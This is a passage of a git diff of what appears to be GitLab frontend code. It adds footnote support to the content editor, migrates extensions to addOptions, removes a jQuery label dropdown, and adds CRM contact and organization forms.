diff --git a/app/assets/javascripts/content_editor/extensions/footnote_reference.js b/app/assets/javascripts/content_editor/extensions/footnote_reference.js
new file mode 100644
index 00000000000..1ac8016f774
--- /dev/null
+++ b/app/assets/javascripts/content_editor/extensions/footnote_reference.js
@@ -0,0 +1,37 @@
+import { Node, mergeAttributes } from '@tiptap/core';
+import { PARSE_HTML_PRIORITY_HIGHEST } from '../constants';
+
+export default Node.create({
+ name: 'footnoteReference',
+
+ inline: true,
+
+ group: 'inline',
+
+ atom: true,
+
+ draggable: true,
+
+ selectable: true,
+
+ addAttributes() {
+ return {
+ footnoteId: {
+ default: null,
+ parseHTML: (element) => element.querySelector('a').getAttribute('id'),
+ },
+ footnoteNumber: {
+ default: null,
+ parseHTML: (element) => element.textContent,
+ },
+ };
+ },
+
+ parseHTML() {
+ return [{ tag: 'sup.footnote-ref', priority: PARSE_HTML_PRIORITY_HIGHEST }];
+ },
+
+ renderHTML({ HTMLAttributes: { footnoteNumber, footnoteId, ...HTMLAttributes } }) {
+ return ['sup', mergeAttributes(HTMLAttributes), footnoteNumber];
+ },
+});
diff --git a/app/assets/javascripts/content_editor/extensions/footnotes_section.js b/app/assets/javascripts/content_editor/extensions/footnotes_section.js
new file mode 100644
index 00000000000..914a8934734
--- /dev/null
+++ b/app/assets/javascripts/content_editor/extensions/footnotes_section.js
@@ -0,0 +1,19 @@
+import { mergeAttributes, Node } from '@tiptap/core';
+
+export default Node.create({
+ name: 'footnotesSection',
+
+ content: 'footnoteDefinition+',
+
+ group: 'block',
+
+ isolating: true,
+
+ parseHTML() {
+ return [{ tag: 'section.footnotes > ol' }];
+ },
+
+ renderHTML({ HTMLAttributes }) {
+ return ['ol', mergeAttributes(HTMLAttributes, { class: 'footnotes gl-font-sm' }), 0];
+ },
+});
diff --git a/app/assets/javascripts/content_editor/extensions/html_marks.js b/app/assets/javascripts/content_editor/extensions/html_marks.js
index 3abf0e3eee2..9579f3b06f6 100644
--- a/app/assets/javascripts/content_editor/extensions/html_marks.js
+++ b/app/assets/javascripts/content_editor/extensions/html_marks.js
@@ -31,13 +31,12 @@ const attrs = {
export default marks.map((name) =>
Mark.create({
name,
-
inclusive: false,
-
- defaultOptions: {
- HTMLAttributes: {},
+ addOptions() {
+ return {
+ HTMLAttributes: {},
+ };
},
-
addAttributes() {
return (attrs[name] || []).reduce(
(acc, attr) => ({
diff --git a/app/assets/javascripts/content_editor/extensions/image.js b/app/assets/javascripts/content_editor/extensions/image.js
index 837fab0585f..d7fb617f7ee 100644
--- a/app/assets/javascripts/content_editor/extensions/image.js
+++ b/app/assets/javascripts/content_editor/extensions/image.js
@@ -7,9 +7,11 @@ const resolveImageEl = (element) =>
element.nodeName === 'IMG' ? element : element.querySelector('img');
export default Image.extend({
- defaultOptions: {
- ...Image.options,
- inline: true,
+ addOptions() {
+ return {
+ ...this.parent?.(),
+ inline: true,
+ };
},
addAttributes() {
return {
diff --git a/app/assets/javascripts/content_editor/extensions/inline_diff.js b/app/assets/javascripts/content_editor/extensions/inline_diff.js
index 22bb1ac072e..f76943a0669 100644
--- a/app/assets/javascripts/content_editor/extensions/inline_diff.js
+++ b/app/assets/javascripts/content_editor/extensions/inline_diff.js
@@ -3,8 +3,10 @@ import { Mark, markInputRule, mergeAttributes } from '@tiptap/core';
export default Mark.create({
name: 'inlineDiff',
- defaultOptions: {
- HTMLAttributes: {},
+ addOptions() {
+ return {
+ HTMLAttributes: {},
+ };
},
addAttributes() {
diff --git a/app/assets/javascripts/content_editor/extensions/link.js b/app/assets/javascripts/content_editor/extensions/link.js
index 27bc05dce6f..f9b12f631fe 100644
--- a/app/assets/javascripts/content_editor/extensions/link.js
+++ b/app/assets/javascripts/content_editor/extensions/link.js
@@ -18,10 +18,13 @@ export const extractHrefFromMarkdownLink = (match) => {
};
export default Link.extend({
- defaultOptions: {
- ...Link.options,
- openOnClick: false,
+ addOptions() {
+ return {
+ ...this.parent?.(),
+ openOnClick: false,
+ };
},
+
addInputRules() {
const markdownLinkSyntaxInputRuleRegExp = /(?:^|\s)\[([\w|\s|-]+)\]\((?<href>.+?)\)$/gm;
const urlSyntaxRegExp = /(?:^|\s)(?<href>(?:https?:\/\/|www\.)[\S]+)(?:\s|\n)$/gim;
diff --git a/app/assets/javascripts/content_editor/extensions/task_item.js b/app/assets/javascripts/content_editor/extensions/task_item.js
index 9b050edcb28..6efef3f8198 100644
--- a/app/assets/javascripts/content_editor/extensions/task_item.js
+++ b/app/assets/javascripts/content_editor/extensions/task_item.js
@@ -2,9 +2,11 @@ import { TaskItem } from '@tiptap/extension-task-item';
import { PARSE_HTML_PRIORITY_HIGHEST } from '../constants';
export default TaskItem.extend({
- defaultOptions: {
- nested: true,
- HTMLAttributes: {},
+ addOptions() {
+ return {
+ nested: true,
+ HTMLAttributes: {},
+ };
},
addAttributes() {
diff --git a/app/assets/javascripts/content_editor/extensions/video.js b/app/assets/javascripts/content_editor/extensions/video.js
index 9923b7c04cd..312e8cd5ff6 100644
--- a/app/assets/javascripts/content_editor/extensions/video.js
+++ b/app/assets/javascripts/content_editor/extensions/video.js
@@ -2,9 +2,11 @@ import Playable from './playable';
export default Playable.extend({
name: 'video',
- defaultOptions: {
- ...Playable.options,
- mediaType: 'video',
- extraElementAttrs: { width: '400' },
+ addOptions() {
+ return {
+ ...this.parent?.(),
+ mediaType: 'video',
+ extraElementAttrs: { width: '400' },
+ };
},
});
diff --git a/app/assets/javascripts/content_editor/extensions/word_break.js b/app/assets/javascripts/content_editor/extensions/word_break.js
index fa7e02f8cc8..457b7c36564 100644
--- a/app/assets/javascripts/content_editor/extensions/word_break.js
+++ b/app/assets/javascripts/content_editor/extensions/word_break.js
@@ -7,10 +7,12 @@ export default Node.create({
selectable: false,
atom: true,
- defaultOptions: {
- HTMLAttributes: {
- class: 'gl-display-inline-flex gl-px-1 gl-bg-blue-100 gl-rounded-base gl-font-sm',
- },
+ addOptions() {
+ return {
+ HTMLAttributes: {
+ class: 'gl-display-inline-flex gl-px-1 gl-bg-blue-100 gl-rounded-base gl-font-sm',
+ },
+ };
},
parseHTML() {
diff --git a/app/assets/javascripts/content_editor/services/create_content_editor.js b/app/assets/javascripts/content_editor/services/create_content_editor.js
index 385f1c63801..f451357e211 100644
--- a/app/assets/javascripts/content_editor/services/create_content_editor.js
+++ b/app/assets/javascripts/content_editor/services/create_content_editor.js
@@ -19,6 +19,9 @@ import Dropcursor from '../extensions/dropcursor';
import Emoji from '../extensions/emoji';
import Figure from '../extensions/figure';
import FigureCaption from '../extensions/figure_caption';
+import FootnoteDefinition from '../extensions/footnote_definition';
+import FootnoteReference from '../extensions/footnote_reference';
+import FootnotesSection from '../extensions/footnotes_section';
import Frontmatter from '../extensions/frontmatter';
import Gapcursor from '../extensions/gapcursor';
import HardBreak from '../extensions/hard_break';
@@ -94,6 +97,9 @@ export const createContentEditor = ({
Emoji,
Figure,
FigureCaption,
+ FootnoteDefinition,
+ FootnoteReference,
+ FootnotesSection,
Frontmatter,
Gapcursor,
HardBreak,
diff --git a/app/assets/javascripts/content_editor/services/markdown_serializer.js b/app/assets/javascripts/content_editor/services/markdown_serializer.js
index 0dd3cb5b73f..278ef326c7a 100644
--- a/app/assets/javascripts/content_editor/services/markdown_serializer.js
+++ b/app/assets/javascripts/content_editor/services/markdown_serializer.js
@@ -17,6 +17,9 @@ import Division from '../extensions/division';
import Emoji from '../extensions/emoji';
import Figure from '../extensions/figure';
import FigureCaption from '../extensions/figure_caption';
+import FootnotesSection from '../extensions/footnotes_section';
+import FootnoteDefinition from '../extensions/footnote_definition';
+import FootnoteReference from '../extensions/footnote_reference';
import Frontmatter from '../extensions/frontmatter';
import HardBreak from '../extensions/hard_break';
import Heading from '../extensions/heading';
@@ -135,7 +138,16 @@ const defaultSerializerConfig = {
state.write('```');
state.closeBlock(node);
},
- [Division.name]: renderHTMLNode('div'),
+ [Division.name]: (state, node) => {
+ if (node.attrs.className?.includes('js-markdown-code')) {
+ state.renderInline(node);
+ } else {
+ const newNode = node;
+ delete newNode.attrs.className;
+
+ renderHTMLNode('div')(state, newNode);
+ }
+ },
[DescriptionList.name]: renderHTMLNode('dl', true),
[DescriptionItem.name]: (state, node, parent, index) => {
if (index === 1) state.ensureNewLine();
@@ -156,6 +168,15 @@ const defaultSerializerConfig = {
state.write(`:${name}:`);
},
+ [FootnoteDefinition.name]: (state, node) => {
+ state.renderInline(node);
+ },
+ [FootnoteReference.name]: (state, node) => {
+ state.write(`[^${node.attrs.footnoteNumber}]`);
+ },
+ [FootnotesSection.name]: (state, node) => {
+ state.renderList(node, '', (index) => `[^${index + 1}]: `);
+ },
[Frontmatter.name]: (state, node) => {
const { language } = node.attrs;
const syntax = {
diff --git a/app/assets/javascripts/create_label.js b/app/assets/javascripts/create_label.js
deleted file mode 100644
index 07fe2c7e01f..00000000000
--- a/app/assets/javascripts/create_label.js
+++ /dev/null
@@ -1,131 +0,0 @@
-/* eslint-disable func-names */
-
-import $ from 'jquery';
-import Api from './api';
-import { humanize } from './lib/utils/text_utility';
-
-export default class CreateLabelDropdown {
- constructor($el, namespacePath, projectPath) {
- this.$el = $el;
- this.namespacePath = namespacePath;
- this.projectPath = projectPath;
- this.$dropdownBack = $('.dropdown-menu-back', this.$el.closest('.dropdown'));
- this.$cancelButton = $('.js-cancel-label-btn', this.$el);
- this.$newLabelField = $('#new_label_name', this.$el);
- this.$newColorField = $('#new_label_color', this.$el);
- this.$colorPreview = $('.js-dropdown-label-color-preview', this.$el);
- this.$addList = $('.js-add-list', this.$el);
- this.$newLabelError = $('.js-label-error', this.$el);
- this.$newLabelCreateButton = $('.js-new-label-btn', this.$el);
- this.$colorSuggestions = $('.suggest-colors-dropdown a', this.$el);
-
- this.$newLabelError.hide();
- this.$newLabelCreateButton.disable();
-
- this.addListDefault = this.$addList.is(':checked');
-
- this.cleanBinding();
- this.addBinding();
- }
-
- cleanBinding() {
- // eslint-disable-next-line @gitlab/no-global-event-off
- this.$colorSuggestions.off('click');
- // eslint-disable-next-line @gitlab/no-global-event-off
- this.$newLabelField.off('keyup change');
- // eslint-disable-next-line @gitlab/no-global-event-off
- this.$newColorField.off('keyup change');
- // eslint-disable-next-line @gitlab/no-global-event-off
- this.$dropdownBack.off('click');
- // eslint-disable-next-line @gitlab/no-global-event-off
- this.$cancelButton.off('click');
- // eslint-disable-next-line @gitlab/no-global-event-off
- this.$newLabelCreateButton.off('click');
- }
-
- addBinding() {
- const self = this;
-
- this.$colorSuggestions.on('click', function (e) {
- const $this = $(this);
- self.addColorValue(e, $this);
- });
-
- this.$newLabelField.on('keyup change', this.enableLabelCreateButton.bind(this));
- this.$newColorField.on('keyup change', this.enableLabelCreateButton.bind(this));
-
- this.$dropdownBack.on('click', this.resetForm.bind(this));
-
- this.$cancelButton.on('click', (e) => {
- e.preventDefault();
- e.stopPropagation();
-
- self.resetForm();
- self.$dropdownBack.trigger('click');
- });
-
- this.$newLabelCreateButton.on('click', this.saveLabel.bind(this));
- }
-
- addColorValue(e, $this) {
- e.preventDefault();
- e.stopPropagation();
-
- this.$newColorField.val($this.data('color')).trigger('change');
- this.$colorPreview.css('background-color', $this.data('color')).parent().addClass('is-active');
- }
-
- enableLabelCreateButton() {
- if (this.$newLabelField.val() !== '' && this.$newColorField.val() !== '') {
- this.$newLabelError.hide();
- this.$newLabelCreateButton.enable();
- } else {
- this.$newLabelCreateButton.disable();
- }
- }
-
- resetForm() {
- this.$newLabelField.val('').trigger('change');
-
- this.$newColorField.val('').trigger('change');
-
- this.$addList.prop('checked', this.addListDefault);
-
- this.$colorPreview.css('background-color', '').parent().removeClass('is-active');
- }
-
- saveLabel(e) {
- e.preventDefault();
- e.stopPropagation();
-
- Api.newLabel(
- this.namespacePath,
- this.projectPath,
- {
- title: this.$newLabelField.val(),
- color: this.$newColorField.val(),
- },
- (label) => {
- this.$newLabelCreateButton.enable();
-
- if (label.message) {
- let errors;
-
- if (typeof label.message === 'string') {
- errors = label.message;
- } else {
- errors = Object.keys(label.message)
- .map((key) => `${humanize(key)} ${label.message[key].join(', ')}`)
- .join('<br/>');
- }
-
- this.$newLabelError.html(errors).show();
- } else {
- const addNewList = this.$addList.is(':checked');
- this.$dropdownBack.trigger('click');
- $(document).trigger('created.label', [label, addNewList]);
- }
- },
- );
- }
-}
diff --git a/app/assets/javascripts/crm/components/contact_form.vue b/app/assets/javascripts/crm/components/contact_form.vue
new file mode 100644
index 00000000000..81ae5c246be
--- /dev/null
+++ b/app/assets/javascripts/crm/components/contact_form.vue
@@ -0,0 +1,224 @@
+<script>
+import { GlAlert, GlButton, GlDrawer, GlFormGroup, GlFormInput } from '@gitlab/ui';
+import { produce } from 'immer';
+import { __, s__ } from '~/locale';
+import { convertToGraphQLId } from '~/graphql_shared/utils';
+import { TYPE_GROUP } from '~/graphql_shared/constants';
+import createContactMutation from './queries/create_contact.mutation.graphql';
+import updateContactMutation from './queries/update_contact.mutation.graphql';
+import getGroupContactsQuery from './queries/get_group_contacts.query.graphql';
+
+export default {
+ components: {
+ GlAlert,
+ GlButton,
+ GlDrawer,
+ GlFormGroup,
+ GlFormInput,
+ },
+ inject: ['groupFullPath', 'groupId'],
+ props: {
+ drawerOpen: {
+ type: Boolean,
+ required: true,
+ },
+ contact: {
+ type: Object,
+ required: false,
+ default: () => {},
+ },
+ },
+ data() {
+ return {
+ firstName: '',
+ lastName: '',
+ phone: '',
+ email: '',
+ description: '',
+ submitting: false,
+ errorMessages: [],
+ };
+ },
+ computed: {
+ invalid() {
+ const { firstName, lastName, email } = this;
+
+ return firstName.trim() === '' || lastName.trim() === '' || email.trim() === '';
+ },
+ editMode() {
+ return Boolean(this.contact);
+ },
+ title() {
+ return this.editMode ? this.$options.i18n.editTitle : this.$options.i18n.newTitle;
+ },
+ buttonLabel() {
+ return this.editMode
+ ? this.$options.i18n.editButtonLabel
+ : this.$options.i18n.createButtonLabel;
+ },
+ mutation() {
+ return this.editMode ? updateContactMutation : createContactMutation;
+ },
+ variables() {
+ const { contact, firstName, lastName, phone, email, description, editMode, groupId } = this;
+
+ const variables = {
+ input: {
+ firstName,
+ lastName,
+ phone,
+ email,
+ description,
+ },
+ };
+
+ if (editMode) {
+ variables.input.id = contact.id;
+ } else {
+ variables.input.groupId = convertToGraphQLId(TYPE_GROUP, groupId);
+ }
+
+ return variables;
+ },
+ },
+ mounted() {
+ if (this.editMode) {
+ const { contact } = this;
+
+ this.firstName = contact.firstName || '';
+ this.lastName = contact.lastName || '';
+ this.phone = contact.phone || '';
+ this.email = contact.email || '';
+ this.description = contact.description || '';
+ }
+ },
+ methods: {
+ save() {
+ const { mutation, variables, updateCache, close } = this;
+
+ this.submitting = true;
+
+ return this.$apollo
+ .mutate({
+ mutation,
+ variables,
+ update: updateCache,
+ })
+ .then(({ data }) => {
+ if (
+ data.customerRelationsContactCreate?.errors.length === 0 ||
+ data.customerRelationsContactUpdate?.errors.length === 0
+ ) {
+ close(true);
+ }
+
+ this.submitting = false;
+ })
+ .catch(() => {
+ this.errorMessages = [this.$options.i18n.somethingWentWrong];
+ this.submitting = false;
+ });
+ },
+ close(success) {
+ this.$emit('close', success);
+ },
+ updateCache(store, { data }) {
+ const mutationData =
+ data.customerRelationsContactCreate || data.customerRelationsContactUpdate;
+
+ if (mutationData?.errors.length > 0) {
+ this.errorMessages = mutationData.errors;
+ return;
+ }
+
+ const queryArgs = {
+ query: getGroupContactsQuery,
+ variables: { groupFullPath: this.groupFullPath },
+ };
+
+ const sourceData = store.readQuery(queryArgs);
+
+ queryArgs.data = produce(sourceData, (draftState) => {
+ draftState.group.contacts.nodes = [
+ ...sourceData.group.contacts.nodes.filter(({ id }) => id !== this.contact?.id),
+ mutationData.contact,
+ ];
+ });
+
+ store.writeQuery(queryArgs);
+ },
+ getDrawerHeaderHeight() {
+ const wrapperEl = document.querySelector('.content-wrapper');
+
+ if (wrapperEl) {
+ return `${wrapperEl.offsetTop}px`;
+ }
+
+ return '';
+ },
+ },
+ i18n: {
+ createButtonLabel: s__('Crm|Create new contact'),
+ editButtonLabel: __('Save changes'),
+ cancel: __('Cancel'),
+ firstName: s__('Crm|First name'),
+ lastName: s__('Crm|Last name'),
+ email: s__('Crm|Email'),
+ phone: s__('Crm|Phone number (optional)'),
+ description: s__('Crm|Description (optional)'),
+ newTitle: s__('Crm|New contact'),
+ editTitle: s__('Crm|Edit contact'),
+ somethingWentWrong: __('Something went wrong. Please try again.'),
+ },
+};
+</script>
+
+<template>
+ <gl-drawer
+ class="gl-drawer-responsive"
+ :open="drawerOpen"
+ :header-height="getDrawerHeaderHeight()"
+ @close="close(false)"
+ >
+ <template #title>
+ <h3>{{ title }}</h3>
+ </template>
+ <gl-alert v-if="errorMessages.length" variant="danger" @dismiss="errorMessages = []">
+ <ul class="gl-mb-0! gl-ml-5">
+ <li v-for="error in errorMessages" :key="error">
+ {{ error }}
+ </li>
+ </ul>
+ </gl-alert>
+ <form @submit.prevent="save">
+ <gl-form-group :label="$options.i18n.firstName" label-for="contact-first-name">
+ <gl-form-input id="contact-first-name" v-model="firstName" />
+ </gl-form-group>
+ <gl-form-group :label="$options.i18n.lastName" label-for="contact-last-name">
+ <gl-form-input id="contact-last-name" v-model="lastName" />
+ </gl-form-group>
+ <gl-form-group :label="$options.i18n.email" label-for="contact-email">
+ <gl-form-input id="contact-email" v-model="email" />
+ </gl-form-group>
+ <gl-form-group :label="$options.i18n.phone" label-for="contact-phone">
+ <gl-form-input id="contact-phone" v-model="phone" />
+ </gl-form-group>
+ <gl-form-group :label="$options.i18n.description" label-for="contact-description">
+ <gl-form-input id="contact-description" v-model="description" />
+ </gl-form-group>
+ <span class="gl-float-right">
+ <gl-button data-testid="cancel-button" @click="close(false)">
+ {{ $options.i18n.cancel }}
+ </gl-button>
+ <gl-button
+ variant="confirm"
+ :disabled="invalid"
+ :loading="submitting"
+ data-testid="save-contact-button"
+ type="submit"
+ >{{ buttonLabel }}</gl-button
+ >
+ </span>
+ </form>
+ </gl-drawer>
+</template>
diff --git a/app/assets/javascripts/crm/components/contacts_root.vue b/app/assets/javascripts/crm/components/contacts_root.vue
index 83c02f7d5fe..178ce84c64d 100644
--- a/app/assets/javascripts/crm/components/contacts_root.vue
+++ b/app/assets/javascripts/crm/components/contacts_root.vue
@@ -1,17 +1,30 @@
<script>
-import { GlLoadingIcon, GlTable } from '@gitlab/ui';
-import createFlash from '~/flash';
+import { GlAlert, GlButton, GlLoadingIcon, GlTable, GlTooltipDirective } from '@gitlab/ui';
+import { parseBoolean } from '~/lib/utils/common_utils';
import { s__, __ } from '~/locale';
+import { convertToGraphQLId, getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { TYPE_CRM_CONTACT } from '~/graphql_shared/constants';
+import { INDEX_ROUTE_NAME, NEW_ROUTE_NAME, EDIT_ROUTE_NAME } from '../constants';
import getGroupContactsQuery from './queries/get_group_contacts.query.graphql';
+import ContactForm from './contact_form.vue';
export default {
components: {
+ GlAlert,
+ GlButton,
GlLoadingIcon,
GlTable,
+ ContactForm,
},
- inject: ['groupFullPath'],
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ inject: ['groupFullPath', 'groupIssuesPath', 'canAdminCrmContact'],
data() {
- return { contacts: [] };
+ return {
+ contacts: [],
+ error: false,
+ };
},
apollo: {
contacts: {
@@ -26,12 +39,8 @@ export default {
update(data) {
return this.extractContacts(data);
},
- error(error) {
- createFlash({
- message: __('Something went wrong. Please try again.'),
- error,
- captureError: true,
- });
+ error() {
+ this.error = true;
},
},
},
@@ -39,12 +48,51 @@ export default {
isLoading() {
return this.$apollo.queries.contacts.loading;
},
+ showNewForm() {
+ return this.$route.name === NEW_ROUTE_NAME;
+ },
+ showEditForm() {
+ return !this.isLoading && this.$route.name === EDIT_ROUTE_NAME;
+ },
+ canAdmin() {
+ return parseBoolean(this.canAdminCrmContact);
+ },
+ editingContact() {
+ return this.contacts.find(
+ (contact) => contact.id === convertToGraphQLId(TYPE_CRM_CONTACT, this.$route.params.id),
+ );
+ },
},
methods: {
extractContacts(data) {
const contacts = data?.group?.contacts?.nodes || [];
return contacts.slice().sort((a, b) => a.firstName.localeCompare(b.firstName));
},
+ displayNewForm() {
+ if (this.showNewForm) return;
+
+ this.$router.push({ name: NEW_ROUTE_NAME });
+ },
+ hideNewForm(success) {
+ if (success) this.$toast.show(s__('Crm|Contact has been added'));
+
+ this.$router.replace({ name: INDEX_ROUTE_NAME });
+ },
+ hideEditForm(success) {
+ if (success) this.$toast.show(s__('Crm|Contact has been updated'));
+
+ this.editingContactId = 0;
+ this.$router.replace({ name: INDEX_ROUTE_NAME });
+ },
+ getIssuesPath(path, value) {
+ return `${path}?scope=all&state=opened&crm_contact_id=${value}`;
+ },
+ edit(value) {
+ if (this.showEditForm) return;
+
+ this.editingContactId = value;
+ this.$router.push({ name: EDIT_ROUTE_NAME, params: { id: value } });
+ },
},
fields: [
{ key: 'firstName', sortable: true },
@@ -59,22 +107,81 @@ export default {
},
sortable: true,
},
+ {
+ key: 'id',
+ label: '',
+ formatter: (id) => {
+ return getIdFromGraphQLId(id);
+ },
+ },
],
i18n: {
emptyText: s__('Crm|No contacts found'),
+ issuesButtonLabel: __('View issues'),
+ editButtonLabel: __('Edit'),
+ title: s__('Crm|Customer Relations Contacts'),
+ newContact: s__('Crm|New contact'),
+ errorText: __('Something went wrong. Please try again.'),
},
};
</script>
<template>
<div>
+ <gl-alert v-if="error" variant="danger" class="gl-mt-6" @dismiss="error = false">
+ {{ $options.i18n.errorText }}
+ </gl-alert>
+ <div
+ class="gl-display-flex gl-align-items-baseline gl-flex-direction-row gl-justify-content-space-between gl-mt-6"
+ >
+ <h2 class="gl-font-size-h2 gl-my-0">
+ {{ $options.i18n.title }}
+ </h2>
+ <div class="gl-display-none gl-md-display-flex gl-align-items-center gl-justify-content-end">
+ <gl-button
+ v-if="canAdmin"
+ variant="confirm"
+ data-testid="new-contact-button"
+ @click="displayNewForm"
+ >
+ {{ $options.i18n.newContact }}
+ </gl-button>
+ </div>
+ </div>
+ <contact-form v-if="showNewForm" :drawer-open="showNewForm" @close="hideNewForm" />
+ <contact-form
+ v-if="showEditForm"
+ :contact="editingContact"
+ :drawer-open="showEditForm"
+ @close="hideEditForm"
+ />
<gl-loading-icon v-if="isLoading" class="gl-mt-5" size="lg" />
<gl-table
v-else
+ class="gl-mt-5"
:items="contacts"
:fields="$options.fields"
:empty-text="$options.i18n.emptyText"
show-empty
- />
+ >
+ <template #cell(id)="data">
+ <gl-button
+ v-gl-tooltip.hover.bottom="$options.i18n.issuesButtonLabel"
+ class="gl-mr-3"
+ data-testid="issues-link"
+ icon="issues"
+ :aria-label="$options.i18n.issuesButtonLabel"
+ :href="getIssuesPath(groupIssuesPath, data.value)"
+ />
+ <gl-button
+ v-if="canAdmin"
+ v-gl-tooltip.hover.bottom="$options.i18n.editButtonLabel"
+ data-testid="edit-contact-button"
+ icon="pencil"
+ :aria-label="$options.i18n.editButtonLabel"
+ @click="edit(data.value)"
+ />
+ </template>
+ </gl-table>
</div>
</template>
diff --git a/app/assets/javascripts/crm/components/new_organization_form.vue b/app/assets/javascripts/crm/components/new_organization_form.vue
new file mode 100644
index 00000000000..3b11edc6935
--- /dev/null
+++ b/app/assets/javascripts/crm/components/new_organization_form.vue
@@ -0,0 +1,164 @@
+<script>
+import { GlAlert, GlButton, GlDrawer, GlFormGroup, GlFormInput } from '@gitlab/ui';
+import { produce } from 'immer';
+import { __, s__ } from '~/locale';
+import { convertToGraphQLId } from '~/graphql_shared/utils';
+import { TYPE_GROUP } from '~/graphql_shared/constants';
+import createOrganization from './queries/create_organization.mutation.graphql';
+import getGroupOrganizationsQuery from './queries/get_group_organizations.query.graphql';
+
+export default {
+ components: {
+ GlAlert,
+ GlButton,
+ GlDrawer,
+ GlFormGroup,
+ GlFormInput,
+ },
+ inject: ['groupFullPath', 'groupId'],
+ props: {
+ drawerOpen: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ name: '',
+ defaultRate: null,
+ description: '',
+ submitting: false,
+ errorMessages: [],
+ };
+ },
+ computed: {
+ invalid() {
+ return this.name.trim() === '';
+ },
+ },
+ methods: {
+ save() {
+ this.submitting = true;
+ return this.$apollo
+ .mutate({
+ mutation: createOrganization,
+ variables: {
+ input: {
+ groupId: convertToGraphQLId(TYPE_GROUP, this.groupId),
+ name: this.name,
+ defaultRate: this.defaultRate ? parseFloat(this.defaultRate) : null,
+ description: this.description,
+ },
+ },
+ update: this.updateCache,
+ })
+ .then(({ data }) => {
+ if (data.customerRelationsOrganizationCreate.errors.length === 0) this.close(true);
+
+ this.submitting = false;
+ })
+ .catch(() => {
+ this.errorMessages = [this.$options.i18n.somethingWentWrong];
+ this.submitting = false;
+ });
+ },
+ close(success) {
+ this.$emit('close', success);
+ },
+ updateCache(store, { data: { customerRelationsOrganizationCreate } }) {
+ if (customerRelationsOrganizationCreate.errors.length > 0) {
+ this.errorMessages = customerRelationsOrganizationCreate.errors;
+ return;
+ }
+
+ const variables = {
+ groupFullPath: this.groupFullPath,
+ };
+ const sourceData = store.readQuery({
+ query: getGroupOrganizationsQuery,
+ variables,
+ });
+
+ const data = produce(sourceData, (draftState) => {
+ draftState.group.organizations.nodes = [
+ ...sourceData.group.organizations.nodes,
+ customerRelationsOrganizationCreate.organization,
+ ];
+ });
+
+ store.writeQuery({
+ query: getGroupOrganizationsQuery,
+ variables,
+ data,
+ });
+ },
+ getDrawerHeaderHeight() {
+ const wrapperEl = document.querySelector('.content-wrapper');
+
+ if (wrapperEl) {
+ return `${wrapperEl.offsetTop}px`;
+ }
+
+ return '';
+ },
+ },
+ i18n: {
+ buttonLabel: s__('Crm|Create organization'),
+ cancel: __('Cancel'),
+ name: __('Name'),
+ defaultRate: s__('Crm|Default rate (optional)'),
+ description: __('Description (optional)'),
+ title: s__('Crm|New Organization'),
+ somethingWentWrong: __('Something went wrong. Please try again.'),
+ },
+};
+</script>
+
+<template>
+ <gl-drawer
+ class="gl-drawer-responsive"
+ :open="drawerOpen"
+ :header-height="getDrawerHeaderHeight()"
+ @close="close(false)"
+ >
+ <template #title>
+ <h4>{{ $options.i18n.title }}</h4>
+ </template>
+ <gl-alert v-if="errorMessages.length" variant="danger" @dismiss="errorMessages = []">
+ <ul class="gl-mb-0! gl-ml-5">
+ <li v-for="error in errorMessages" :key="error">
+ {{ error }}
+ </li>
+ </ul>
+ </gl-alert>
+ <form @submit.prevent="save">
+ <gl-form-group :label="$options.i18n.name" label-for="organization-name">
+ <gl-form-input id="organization-name" v-model="name" />
+ </gl-form-group>
+ <gl-form-group :label="$options.i18n.defaultRate" label-for="organization-default-rate">
+ <gl-form-input
+ id="organization-default-rate"
+ v-model="defaultRate"
+ type="number"
+ step="0.01"
+ />
+ </gl-form-group>
+ <gl-form-group :label="$options.i18n.description" label-for="organization-description">
+ <gl-form-input id="organization-description" v-model="description" />
+ </gl-form-group>
+ <span class="gl-float-right">
+ <gl-button data-testid="cancel-button" @click="close(false)">
+ {{ $options.i18n.cancel }}
+ </gl-button>
+ <gl-button
+ variant="confirm"
+ :disabled="invalid"
+ :loading="submitting"
+ data-testid="create-new-organization-button"
+ type="submit"
+ >{{ $options.i18n.buttonLabel }}</gl-button
+ >
+ </span>
+ </form>
+ </gl-drawer>
+</template>
diff --git a/app/assets/javascripts/crm/components/organizations_root.vue b/app/assets/javascripts/crm/components/organizations_root.vue
index 98b45d0a042..9370c6377e9 100644
--- a/app/assets/javascripts/crm/components/organizations_root.vue
+++ b/app/assets/javascripts/crm/components/organizations_root.vue
@@ -1,17 +1,29 @@
<script>
-import { GlLoadingIcon, GlTable } from '@gitlab/ui';
-import createFlash from '~/flash';
+import { GlAlert, GlButton, GlLoadingIcon, GlTable, GlTooltipDirective } from '@gitlab/ui';
+import { parseBoolean } from '~/lib/utils/common_utils';
import { s__, __ } from '~/locale';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { INDEX_ROUTE_NAME, NEW_ROUTE_NAME } from '../constants';
import getGroupOrganizationsQuery from './queries/get_group_organizations.query.graphql';
+import NewOrganizationForm from './new_organization_form.vue';
export default {
components: {
+ GlAlert,
+ GlButton,
GlLoadingIcon,
GlTable,
+ NewOrganizationForm,
},
- inject: ['groupFullPath'],
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ inject: ['canAdminCrmOrganization', 'groupFullPath', 'groupIssuesPath'],
data() {
- return { organizations: [] };
+ return {
+ error: false,
+ organizations: [],
+ };
},
apollo: {
organizations: {
@@ -26,12 +38,8 @@ export default {
update(data) {
return this.extractOrganizations(data);
},
- error(error) {
- createFlash({
- message: __('Something went wrong. Please try again.'),
- error,
- captureError: true,
- });
+ error() {
+ this.error = true;
},
},
},
@@ -39,33 +47,94 @@ export default {
isLoading() {
return this.$apollo.queries.organizations.loading;
},
+ showNewForm() {
+ return this.$route.name === NEW_ROUTE_NAME;
+ },
+ canCreateNew() {
+ return parseBoolean(this.canAdminCrmOrganization);
+ },
},
methods: {
extractOrganizations(data) {
const organizations = data?.group?.organizations?.nodes || [];
return organizations.slice().sort((a, b) => a.name.localeCompare(b.name));
},
+ getIssuesPath(path, value) {
+ return `${path}?scope=all&state=opened&crm_organization_id=${value}`;
+ },
+ displayNewForm() {
+ if (this.showNewForm) return;
+
+ this.$router.push({ name: NEW_ROUTE_NAME });
+ },
+ hideNewForm(success) {
+ if (success) this.$toast.show(this.$options.i18n.organizationAdded);
+
+ this.$router.replace({ name: INDEX_ROUTE_NAME });
+ },
},
fields: [
{ key: 'name', sortable: true },
{ key: 'defaultRate', sortable: true },
{ key: 'description', sortable: true },
+ {
+ key: 'id',
